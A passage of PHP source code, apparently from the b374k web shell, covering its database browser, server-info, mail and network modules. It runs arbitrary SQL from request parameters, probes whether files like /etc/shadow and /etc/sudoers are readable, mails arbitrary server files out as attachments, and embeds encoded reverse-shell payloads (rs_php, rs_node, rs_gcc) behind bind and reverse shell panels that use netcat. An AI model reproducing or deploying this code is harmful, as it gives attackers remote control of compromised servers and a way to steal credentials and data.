  1652. elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
  1653. elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
  1654. elseif($sqltype == 'pdo'){
  1655. if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
  1656. else return false;
  1657. }
  1658. return false;
  1659. }
  1660. }
  1661.  
  1662. if(!function_exists('sql_query')){
  1663. function sql_query($sqltype, $query, $con){
  1664. if($sqltype == 'mysql'){
  1665. if(class_exists('mysqli')) return $con->query($query);
  1666. elseif(function_exists('mysql_query')) return mysql_query($query);
  1667. }
  1668. elseif($sqltype == 'mssql'){
  1669. if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
  1670. elseif(function_exists('mssql_query')) return mssql_query($query);
  1671. }
  1672. elseif($sqltype == 'pgsql') return pg_query($query);
  1673. elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
  1674. elseif($sqltype == 'sqlite3') return $con->query($query);
  1675. elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
  1676. elseif($sqltype == 'odbc') return odbc_exec($con, $query);
  1677. elseif($sqltype == 'pdo') return $con->query($query);
  1678. }
  1679. }
  1680.  
  1681. if(!function_exists('sql_num_rows')){
  1682. function sql_num_rows($sqltype,$result){
  1683. if($sqltype == 'mysql'){
  1684. if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
  1685. elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
  1686. }
  1687. elseif($sqltype == 'mssql'){
  1688. if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
  1689. elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
  1690. }
  1691. elseif($sqltype == 'pgsql') return pg_num_rows($result);
  1692. elseif($sqltype == 'oracle') return oci_num_rows($result);
  1693. elseif($sqltype == 'sqlite3'){
  1694. $metadata = $result->fetchArray();
  1695. if(is_array($metadata)) return $metadata['count'];
  1696. }
  1697. elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
  1698. elseif($sqltype == 'odbc') return odbc_num_rows($result);
  1699. elseif($sqltype == 'pdo') return $result->rowCount();
  1700. }
  1701. }
  1702.  
  1703. if(!function_exists('sql_num_fields')){
  1704. function sql_num_fields($sqltype, $result){
  1705. if($sqltype == 'mysql'){
  1706. if(class_exists('mysqli_result')) return $result->field_count;
  1707. elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
  1708. }
  1709. elseif($sqltype == 'mssql'){
  1710. if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
  1711. elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
  1712. }
  1713. elseif($sqltype == 'pgsql') return pg_num_fields($result);
  1714. elseif($sqltype == 'oracle') return oci_num_fields($result);
  1715. elseif($sqltype == 'sqlite3') return $result->numColumns();
  1716. elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
  1717. elseif($sqltype == 'odbc') return odbc_num_fields($result);
  1718. elseif($sqltype == 'pdo') return $result->columnCount();
  1719. }
  1720. }
  1721.  
  1722. if(!function_exists('sql_field_name')){
  1723. function sql_field_name($sqltype,$result,$i){
  1724. if($sqltype == 'mysql'){
  1725. if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
  1726. elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
  1727. }
  1728. elseif($sqltype == 'mssql'){
  1729. if(function_exists('sqlsrv_field_metadata')){
  1730. $metadata = sqlsrv_field_metadata($result);
  1731. if(is_array($metadata)){
  1732. $metadata=$metadata[$i];
  1733. }
  1734. if(is_array($metadata)) return $metadata['Name'];
  1735. }
  1736. elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
  1737. }
  1738. elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
  1739. elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
  1740. elseif($sqltype == 'sqlite3') return $result->columnName($i);
  1741. elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
  1742. elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
  1743. elseif($sqltype == 'pdo'){
  1744. $res = $result->getColumnMeta($i);
  1745. return $res['name'];
  1746. }
  1747. }
  1748. }
  1749.  
  1750. if(!function_exists('sql_fetch_data')){
  1751. function sql_fetch_data($sqltype,$result){
  1752. if($sqltype == 'mysql'){
  1753. if(class_exists('mysqli_result')) return $result->fetch_row();
  1754. elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
  1755. }
  1756. elseif($sqltype == 'mssql'){
  1757. if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
  1758. elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
  1759. }
  1760. elseif($sqltype == 'pgsql') return pg_fetch_row($result);
  1761. elseif($sqltype == 'oracle') return oci_fetch_row($result);
  1762. elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
  1763. elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
  1764. elseif($sqltype == 'odbc') return odbc_fetch_array($result);
  1765. elseif($sqltype == 'pdo') return $result->fetch(2);
  1766. }
  1767. }
  1768.  
  1769. if(!function_exists('sql_close')){
  1770. function sql_close($sqltype,$con){
  1771. if($sqltype == 'mysql'){
  1772. if(class_exists('mysqli')) return $con->close();
  1773. elseif(function_exists('mysql_close')) return mysql_close($con);
  1774. }
  1775. elseif($sqltype == 'mssql'){
  1776. if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
  1777. elseif(function_exists('mssql_close')) return mssql_close($con);
  1778. }
  1779. elseif($sqltype == 'pgsql') return pg_close($con);
  1780. elseif($sqltype == 'oracle') return oci_close($con);
  1781. elseif($sqltype == 'sqlite3') return $con->close();
  1782. elseif($sqltype == 'sqlite') return sqlite_close($con);
  1783. elseif($sqltype == 'odbc') return odbc_close($con);
  1784. elseif($sqltype == 'pdo') return $con = null;
  1785. }
  1786. }
  1787.  
  1788. if(!function_exists('sql_get_supported')){
  1789. function sql_get_supported(){
  1790. $db_supported = array();
  1791.  
  1792. if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
  1793. if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
  1794. if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
  1795. if(function_exists("oci_connect")) $db_supported[] = 'oracle';
  1796. if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
  1797. if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
  1798. if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
  1799. if(class_exists("PDO")) $db_supported[] = 'pdo';
  1800.  
  1801. return implode(",", $db_supported);
  1802. }
  1803. }
  1804.  
  1805. if(isset($p['dbGetSupported'])){
  1806. $res = sql_get_supported();
  1807. if(empty($res)) $res = "error";
  1808. output($res);
  1809. }
  1810. elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
  1811. $type = $p['dbType'];
  1812. $host = $p['dbHost'];
  1813. $user = $p['dbUser'];
  1814. $pass = $p['dbPass'];
  1815. $port = $p['dbPort'];
  1816.  
  1817. $con = sql_connect($type ,$host , $user , $pass);
  1818. $res = "";
  1819.  
  1820. if($con!==false){
  1821. if(isset($p['dbQuery'])){
  1822. $query = $p['dbQuery'];
  1823. $pagination = "";
  1824. if((isset($p['dbDB']))&&(isset($p['dbTable']))){
  1825. $db = trim($p['dbDB']);
  1826. $table = trim($p['dbTable']);
  1827. $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
  1828. $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
  1829.  
  1830. if($type=='mysql'){
  1831. $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
  1832. }
  1833. elseif($type=='mssql'){
  1834. $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
  1835. }
  1836. elseif($type=='pgsql'){
  1837. $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
  1838. }
  1839. elseif($type=='oracle'){
  1840. $limit = $start + $limit;
  1841. $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
  1842. }
  1843. elseif($type=='sqlite' || $type=='sqlite3'){
  1844. $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
  1845. }
  1846. else $query = "";
  1847.  
  1848. $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
  1849. <span class='button' onclick=\"db_pagination('prev');\">prev</span>
  1850. <span class='button' onclick=\"db_pagination('next');\">next</span>
  1851. <input type='hidden' id='dbDB' value='".html_safe($db)."'>
  1852. <input type='hidden' id='dbTable' value='".html_safe($table)."'>
  1853. <input type='hidden' id='dbStart' value='".html_safe($start)."'>
  1854. ";
  1855. }
  1856.  
  1857. $querys = explode(";", $query);
  1858. foreach($querys as $query){
  1859. if(trim($query) != ""){
  1860. $query_query = sql_query($type, $query, $con);
  1861. if($query_query!=false){
  1862. $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>";
  1863. if(!empty($pagination)){
  1864. $res .= "<p>".$pagination."</p>";
  1865. }
  1866. if(!is_bool($query_query)){
  1867. $res .= "<table class='border dataView sortable tblResult'><tr>";
  1868. for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
  1869. $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
  1870. $res .= "</tr>";
  1871. while($rows = sql_fetch_data($type, $query_query)){
  1872. $res .= "<tr>";
  1873. foreach($rows as $r){
  1874. if(empty($r)) $r = " ";
  1875. $res .= "<td>".html_safe($r)."</td>";
  1876. }
  1877. $res .= "</tr>";
  1878. }
  1879. $res .= "</table>";
  1880. }
  1881. }
  1882. else{
  1883. $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>";
  1884. }
  1885. }
  1886. }
  1887. }
  1888. else{
  1889. if(($type!='pdo') && ($type!='odbc')){
  1890. if($type=='mysql') $showdb = "SHOW DATABASES";
  1891. elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
  1892. elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
  1893. elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1894. elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
  1895. else $showdb = "SHOW DATABASES";
  1896.  
  1897. $query_db = sql_query($type, $showdb, $con);
  1898.  
  1899. if($query_db!=false) {
  1900. while($db_arr = sql_fetch_data($type, $query_db)){
  1901. foreach($db_arr as $db){
  1902. if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
  1903. elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
  1904. elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
  1905. elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
  1906. elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1907. else $showtbl = "";
  1908.  
  1909. $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
  1910. $query_table = sql_query($type, $showtbl, $con);
  1911.  
  1912. if($query_table!=false){
  1913. while($tables_arr = sql_fetch_data($type, $query_table)){
  1914. foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
  1915. }
  1916. }
  1917. $res .= "</table>";
  1918. }
  1919. }
  1920. }
  1921. }
  1922. }
  1923. }
  1924. if(!empty($res)) output($res);
  1925. output('error');
  1926. }
  1927.  
  1928. $GLOBALS['module']['info']['id'] = "info";
  1929. $GLOBALS['module']['info']['title'] = "Info";
  1930. $GLOBALS['module']['info']['js_ontabselected'] = "";
  1931. $GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";
  1932.  
  1933. if(!function_exists('info_getinfo')){
  1934. function info_getinfo(){
  1935. $res = "";
  1936. // server misc info
  1937. $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
  1938. $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  1939.  
  1940. if(is_win()){
  1941. foreach (range("A", "Z") as $letter){
  1942. if(is_readable($letter.":\\")){
  1943. $drive = $letter.":";
  1944. $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
  1945. }
  1946. }
  1947. }
  1948. else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";
  1949.  
  1950. $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
  1951. $access = array("python"=>"python -V",
  1952. "perl"=>"perl -e \"print \$]\"",
  1953. "python"=>"python -V",
  1954. "ruby"=>"ruby -v",
  1955. "node"=>"node -v",
  1956. "nodejs"=>"nodejs -v",
  1957. "gcc"=>"gcc -dumpversion",
  1958. "java"=>"java -version",
  1959. "javac"=>"javac -version"
  1960. );
  1961.  
  1962. foreach($access as $k=>$v){
  1963. $version = execute($v);
  1964. $version = explode("\n", $version);
  1965. if($version[0]) $version = $version[0];
  1966. else $version = "?";
  1967.  
  1968. $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
  1969. }
  1970.  
  1971. if(!is_win()){
  1972. $interesting = array(
  1973. "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
  1974. "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
  1975. "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1976. "/etc/ssh/sshd_config",
  1977. "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1978. "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1979. "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1980. foreach($interesting as $f){
  1981. if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>";
  1982. }
  1983. }
  1984. $res .= "</table></div>";
  1985.  
  1986. if(!is_win()){
  1987. // cpu info
  1988. if($i_buff=trim(read_file("/proc/cpuinfo"))){
  1989. $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
  1990. $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
  1991. $i_buffs = explode("\n\n", $i_buff);
  1992. foreach($i_buffs as $i_buffss){
  1993. $i_buffss = trim($i_buffss);
  1994. if($i_buffss!=""){
  1995. $i_buffsss = explode("\n", $i_buffss);
  1996. $res .= "<table class='dataView'>";
  1997. foreach($i_buffsss as $i){
  1998. $i = trim($i);
  1999. if($i!=""){
  2000. $ii = explode(":",$i);
  2001. if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  2002. }
  2003. }
  2004. $res .= "</table>";
  2005. }
  2006. }
  2007. $res .= "</div>";
  2008. }
  2009.  
  2010. // mem info
  2011. if($i_buff=trim(read_file("/proc/meminfo"))){
  2012. $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
  2013. $i_buffs = explode("\n", $i_buff);
  2014. $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  2015. foreach($i_buffs as $i){
  2016. $i = trim($i);
  2017. if($i!=""){
  2018. $ii = explode(":",$i);
  2019. if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  2020. }
  2021. else $res .= "</table><table class='dataView'>";
  2022. }
  2023. $res .= "</table></div>";
  2024. }
  2025.  
  2026. // partition
  2027. if($i_buff=trim(read_file("/proc/partitions"))){
  2028. $i_buff = preg_replace("/\ +/", " ", $i_buff);
  2029. $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
  2030. $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
  2031. $i_buffs = explode("\n\n", $i_buff);
  2032. $res .= "<table class='dataView'><tr>";
  2033. $i_head = explode(" ", $i_buffs[0]);
  2034. foreach($i_head as $h) $res .= "<th>".$h."</th>";
  2035. $res .= "</tr>";
  2036. $i_buffss = explode("\n", $i_buffs[1]);
  2037. foreach($i_buffss as $i_b){
  2038. $i_row = explode(" ", trim($i_b));
  2039. $res .= "<tr>";
  2040. foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>";
  2041. $res .= "</tr>";
  2042. }
  2043. $res .= "</table>";
  2044. $res .= "</div>";
  2045. }
  2046. }
  2047. $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
  2048. foreach($phpinfo as $p=>$i){
  2049. $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>";
  2050. ob_start();
  2051. eval("phpinfo(".$i.");");
  2052. $b = ob_get_contents();
  2053. ob_end_clean();
  2054. if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
  2055. $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
  2056. $body = str_replace("<table", "<table class='boxtbl' ", $body);
  2057. $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
  2058. $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body);
  2059. $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body);
  2060.  
  2061. $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>";
  2062. }
  2063. }
  2064.  
  2065. $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
  2066. return $res;
  2067. }
  2068. }
  2069.  
  2070. if(isset($p['infoRefresh'])){
  2071. output(info_getinfo());
  2072. }
  2073.  
  2074. $GLOBALS['module']['mail']['id'] = "mail";
  2075. $GLOBALS['module']['mail']['title'] = "Mail";
  2076. $GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
  2077. $GLOBALS['module']['mail']['content'] = "
  2078. <table class='boxtbl'>
  2079. <thead>
  2080. <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
  2081. </thead>
  2082. <tbody id='mailTBody'>
  2083. <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  2084. <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  2085. <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  2086. </tbody>
  2087. <tfoot>
  2088. <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr>
  2089. <tr>
  2090. <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span>
  2091. <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span>
  2092. </td>
  2093. </tr>
  2094. <tr><td colspan='2'><span id='mailResult'></span></td></tr>
  2095. </tfoot>
  2096. </table>
  2097. ";
  2098.  
  2099. if(!function_exists('send_email')){
  2100. function send_email($from, $to, $subject, $msg, $attachment){
  2101. $headers = "MIME-Version: 1.0\r\n".$from;
  2102.  
  2103. $rand = md5(time());
  2104. $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
  2105.  
  2106. $headers .= "--".$rand."\r\n";
  2107. $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
  2108. $headers .= $msg."\r\n\r\n";
  2109.  
  2110. if(count($attachment)>0){
  2111. foreach($attachment as $file){
  2112. if(is_file($file)){
  2113. $content = chunk_split(base64_encode(read_file($file)));
  2114. $headers .= "--".$rand."\r\n";
  2115. $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
  2116. $headers .= "Content-Transfer-Encoding: base64\r\n";
  2117. $headers .= "Content-Disposition: attachment\r\n\r\n";
  2118. $headers .= $content."\r\n\r\n";
  2119. }
  2120. }
  2121. }
  2122. $headers .= "--".$rand."--\r\n";
  2123. if(@mail($to, $subject, "", $headers)) return true;
  2124. return false;
  2125. }
  2126. }
  2127.  
  2128. if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
  2129. $mailFrom = trim($p['mailFrom']);
  2130. $mailTo = trim($p['mailTo']);
  2131. $mailSubject = trim($p['mailSubject']);
  2132. $mailContent = trim($p['mailContent']);
  2133. $mailAttachment = trim($p['mailAttachment']);
  2134. $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
  2135.  
  2136. if(empty($mailTo)) output("Please specify at least one recipient");
  2137. if(!empty($mailFrom)){
  2138. $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n";
  2139. }
  2140.  
  2141. foreach($mailAttachment as $file){
  2142. $file = trim($file);
  2143. if(empty($file)) continue;
  2144. if(!is_file($file)) output("No such file : ".$file);
  2145. }
  2146.  
  2147. if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo));
  2148. output("Failed to send mail");
  2149. }
  2150.  
  2151. $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
  2152. $remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
  2153. $default_port = 13123;
  2154. $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";
  2155.  
  2156. $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDle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NZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
  2160. $GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
  2161. $GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVD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+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";
  2164.  
  2165. $GLOBALS['module']['network']['id'] = "network";
  2166. $GLOBALS['module']['network']['title'] = "Network";
  2167. $GLOBALS['module']['network']['js_ontabselected'] = "";
  2168. $GLOBALS['module']['network']['content'] = "
  2169. <table class='boxtbl'>
  2170. <thead>
  2171. <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
  2172. </thead>
  2173. <tbody>
  2174. <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
  2175. <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
  2176. </tbody>
  2177. <tfoot>
  2178. <tr>
  2179. <td style='width:144px;'>
  2180. <select id='bindLang' class='rsType'>
  2181. ".$winbinary."
  2182. </select>
  2183. </td>
  2184. <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>
  2185. </tr>
  2186. <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
  2187. </tfoot>
  2188. </table>
  2189. <br>
  2190. <table class='boxtbl'>
  2191. <thead>
  2192. <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
  2193. </thead>
  2194. <tbody>
  2195. <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2196. <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
  2197. </tbody>
  2198. <tfoot>
  2199. <tr>
  2200. <td style='width:144px;'>
  2201. <select id='backLang' class='rsType'>
  2202. ".$winbinary."
  2203. </select>
  2204. </td>
  2205. <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>
  2206. </tr>
  2207. <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
  2208. </tfoot>
  2209. </table>
  2210. <br>
  2211. <table class='boxtbl'>
  2212. <thead>
